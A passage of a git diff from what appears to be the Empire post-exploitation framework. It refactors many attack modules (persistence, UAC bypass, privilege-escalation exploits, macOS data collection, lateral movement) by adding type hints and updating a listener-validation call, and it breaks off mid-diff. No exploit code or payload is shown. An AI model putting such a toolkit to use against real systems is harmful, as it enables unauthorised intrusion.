a/empire/server/modules/powershell/persistence/elevated/registry.py +++ b/empire/server/modules/powershell/persistence/elevated/registry.py @@ -1,6 +1,7 @@ import os from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -94,7 +95,7 @@ def generate( else: # if an external file isn't specified, use a listener - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.py b/empire/server/modules/powershell/persistence/elevated/schtasks.py index a5f8da0ef..38496f9da 100644 --- a/empire/server/modules/powershell/persistence/elevated/schtasks.py +++ b/empire/server/modules/powershell/persistence/elevated/schtasks.py @@ -1,6 +1,7 @@ import os from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -96,7 +97,7 @@ def generate( else: # if an external file isn't specified, use a listener - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.py b/empire/server/modules/powershell/persistence/elevated/wmi.py index ae9815df1..eea041a0a 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi.py @@ -107,7 +107,7 @@ def generate( ) # if an external file isn't specified, use a listener - elif not main_menu.listeners.is_listener_valid(listener_name): + elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py index 839c3a8bb..8ab65a8eb 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py @@ -1,6 +1,7 @@ import os from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/persistence/misc/add_sid_history.py b/empire/server/modules/powershell/persistence/misc/add_sid_history.py index bdb35d9d8..8cbe41565 100644 --- a/empire/server/modules/powershell/persistence/misc/add_sid_history.py +++ b/empire/server/modules/powershell/persistence/misc/add_sid_history.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/persistence/misc/debugger.py b/empire/server/modules/powershell/persistence/misc/debugger.py index 89a164588..8b99aee8e 100644 --- a/empire/server/modules/powershell/persistence/misc/debugger.py +++ b/empire/server/modules/powershell/persistence/misc/debugger.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -46,7 +47,7 @@ def generate( if listener_name != "": # if there's a listener specified, generate a stager and store it - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py index 9b7d302fe..377c823ec 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py +++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py @@ -1,6 +1,7 @@ import os from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -73,7 +74,7 @@ def generate( listener_name = params["Listener"] - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py index d5d1ba180..a629a6702 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py +++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py @@ -1,6 +1,7 @@ import os from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -52,7 +53,7 @@ def generate( listener_name = params["Listener"] - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.py b/empire/server/modules/powershell/persistence/powerbreach/resolver.py index 82d751cf5..a8b470a27 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/resolver.py +++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.py @@ -1,6 +1,7 @@ import os from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -60,7 +61,7 @@ def generate( listener_name = params["Listener"] - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py index 4d7e850be..144c9efa6 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py @@ -1,6 +1,7 @@ import os from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -35,7 +36,7 @@ def generate( status_msg = "" - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) @@ -91,7 +92,7 @@ def generate( else: # if an external file isn't specified, use a listener - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message( "[!] Invalid listener: " + listener_name diff --git a/empire/server/modules/powershell/persistence/userland/registry.py b/empire/server/modules/powershell/persistence/userland/registry.py index 872940de7..08217b197 100644 --- a/empire/server/modules/powershell/persistence/userland/registry.py +++ b/empire/server/modules/powershell/persistence/userland/registry.py @@ -1,6 +1,7 @@ import os from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -95,7 +96,7 @@ def generate( else: # if an external file isn't specified, use a listener - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.py b/empire/server/modules/powershell/persistence/userland/schtasks.py index f3010b2ec..eee63c493 100644 --- a/empire/server/modules/powershell/persistence/userland/schtasks.py +++ b/empire/server/modules/powershell/persistence/userland/schtasks.py @@ -1,6 +1,7 @@ import os from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -93,7 +94,7 @@ def generate( else: # if an external file isn't specified, use a listener - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/privesc/ask.py b/empire/server/modules/powershell/privesc/ask.py index 65bd9cd40..327686ea3 100644 --- a/empire/server/modules/powershell/privesc/ask.py +++ b/empire/server/modules/powershell/privesc/ask.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -22,7 +23,7 @@ def generate( launcher_obfuscate = False launcher_obfuscate_command = params["ObfuscateCommand"] - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: diff --git a/empire/server/modules/powershell/privesc/bypassuac.py b/empire/server/modules/powershell/privesc/bypassuac.py index 63e84c0b1..15600a1b9 100644 --- a/empire/server/modules/powershell/privesc/bypassuac.py +++ b/empire/server/modules/powershell/privesc/bypassuac.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -32,7 +33,7 @@ def generate( if err: return handle_error_message(err) - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.py b/empire/server/modules/powershell/privesc/bypassuac_env.py index 88d9ac864..9e414522f 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_env.py +++ b/empire/server/modules/powershell/privesc/bypassuac_env.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -32,7 +33,7 @@ def generate( if err: return handle_error_message(err) - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py index d6d1a863d..4c9c478fe 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py +++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -32,7 +33,7 @@ def generate( if err: return handle_error_message(err) - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py index b7175b83f..ffd3c02a7 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py +++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -32,7 +33,7 @@ def generate( if err: return handle_error_message(err) - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py index 5ad43b4d4..032c02b6a 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py +++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -32,7 +33,7 @@ def generate( if err: return handle_error_message(err) - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: diff --git a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py index 93f67fedb..1a0d50dd8 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py +++ b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py @@ -1,6 +1,7 @@ import base64 import re +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.py b/empire/server/modules/powershell/privesc/bypassuac_wscript.py index a746ccf76..506d076c8 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_wscript.py +++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -32,7 +33,7 @@ def generate( if err: return handle_error_message(err) - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: diff --git a/empire/server/modules/powershell/privesc/ms16-032.py b/empire/server/modules/powershell/privesc/ms16-032.py index 8a99470e6..47c7c1dfd 100644 --- a/empire/server/modules/powershell/privesc/ms16-032.py +++ b/empire/server/modules/powershell/privesc/ms16-032.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/privesc/ms16-135.py b/empire/server/modules/powershell/privesc/ms16-135.py index 644d7cd9c..4ecb32746 100644 --- a/empire/server/modules/powershell/privesc/ms16-135.py +++ b/empire/server/modules/powershell/privesc/ms16-135.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py index a814d510b..898a9d20c 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/privesc/powerup/service_stager.py b/empire/server/modules/powershell/privesc/powerup/service_stager.py index 035fbd302..75e848408 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_stager.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py index 71980550a..11438078a 100644 --- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py +++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/recon/fetch_brute_local.py b/empire/server/modules/powershell/recon/fetch_brute_local.py index c2b106b60..d50b2c5b9 100644 --- a/empire/server/modules/powershell/recon/fetch_brute_local.py +++ b/empire/server/modules/powershell/recon/fetch_brute_local.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/recon/find_fruit.py b/empire/server/modules/powershell/recon/find_fruit.py index a0e08dd49..e8e412aa6 100644 --- a/empire/server/modules/powershell/recon/find_fruit.py +++ b/empire/server/modules/powershell/recon/find_fruit.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py index 5d135dec0..fb4df4c8d 100644 --- a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py +++ b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py index 326d3705d..d374a879e 100644 --- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py +++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py index ded23c1e8..e210fb5d8 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py +++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/collection/osx/imessage_dump.py b/empire/server/modules/python/collection/osx/imessage_dump.py index 27fed2c73..72214b1b4 100644 --- a/empire/server/modules/python/collection/osx/imessage_dump.py +++ b/empire/server/modules/python/collection/osx/imessage_dump.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.py b/empire/server/modules/python/collection/osx/native_screenshot_mss.py index 141cdaf85..ec707b75e 100644 --- a/empire/server/modules/python/collection/osx/native_screenshot_mss.py +++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.py @@ -1,12 +1,13 @@ import base64 +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/collection/osx/prompt.py b/empire/server/modules/python/collection/osx/prompt.py index 583991fda..9810f309b 100644 --- a/empire/server/modules/python/collection/osx/prompt.py +++ b/empire/server/modules/python/collection/osx/prompt.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/collection/osx/search_email.py b/empire/server/modules/python/collection/osx/search_email.py index 7d25ce788..f2bf1cca6 100644 --- a/empire/server/modules/python/collection/osx/search_email.py +++ b/empire/server/modules/python/collection/osx/search_email.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/collection/osx/sniffer.py b/empire/server/modules/python/collection/osx/sniffer.py index f1bf291bb..0762f7fb7 100644 --- a/empire/server/modules/python/collection/osx/sniffer.py +++ b/empire/server/modules/python/collection/osx/sniffer.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py index c798a4124..0423774a7 100644 --- a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py +++ b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/management/multi/spawn.py b/empire/server/modules/python/management/multi/spawn.py index 44fcf37dd..0937c4de6 100644 --- a/empire/server/modules/python/management/multi/spawn.py +++ b/empire/server/modules/python/management/multi/spawn.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/management/osx/shellcodeinject64.py b/empire/server/modules/python/management/osx/shellcodeinject64.py index 47e60d410..914f76b02 100644 --- a/empire/server/modules/python/management/osx/shellcodeinject64.py +++ b/empire/server/modules/python/management/osx/shellcodeinject64.py @@ -1,6 +1,7 @@ import base64 import os +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/persistence/multi/desktopfile.py b/empire/server/modules/python/persistence/multi/desktopfile.py index 47dc2ba5a..5a49dfc12 100644 --- a/empire/server/modules/python/persistence/multi/desktopfile.py +++ b/empire/server/modules/python/persistence/multi/desktopfile.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.string_util import removeprefix, removesuffix @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/persistence/osx/CreateHijacker.py b/empire/server/modules/python/persistence/osx/CreateHijacker.py index 9a85833c1..30540e533 100644 --- a/empire/server/modules/python/persistence/osx/CreateHijacker.py +++ b/empire/server/modules/python/persistence/osx/CreateHijacker.py @@ -1,5 +1,6 @@ import base64 +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.string_util import removeprefix, removesuffix @@ -7,7 +8,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/persistence/osx/LaunchAgent.py b/empire/server/modules/python/persistence/osx/LaunchAgent.py index e1822a8c7..d72b90140 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgent.py +++ b/empire/server/modules/python/persistence/osx/LaunchAgent.py @@ -1,5 +1,6 @@ import base64 +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.string_util import removeprefix, removesuffix @@ -7,7 +8,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py index fbaf9963c..2695953a3 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py +++ b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.string_util import removeprefix, removesuffix @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/persistence/osx/loginhook.py b/empire/server/modules/python/persistence/osx/loginhook.py index 8ddef1b62..39e30ce69 100644 --- a/empire/server/modules/python/persistence/osx/loginhook.py +++ b/empire/server/modules/python/persistence/osx/loginhook.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/persistence/osx/mail.py b/empire/server/modules/python/persistence/osx/mail.py index b94795c90..796f0c7c5 100644 --- a/empire/server/modules/python/persistence/osx/mail.py +++ b/empire/server/modules/python/persistence/osx/mail.py @@ -2,13 +2,14 @@ from string import ascii_uppercase from time import time +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py index 6c9da845f..31d3b462f 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py +++ b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py @@ -1,5 +1,6 @@ import base64 +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -7,7 +8,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py index 28f7b18ba..ec9f2aaaf 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py +++ b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py @@ -1,6 +1,7 @@ import base64 import subprocess +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - 